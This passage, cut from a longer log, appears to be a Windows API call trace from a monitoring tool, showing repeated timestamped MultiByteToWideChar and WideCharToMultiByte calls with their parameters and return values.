lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", 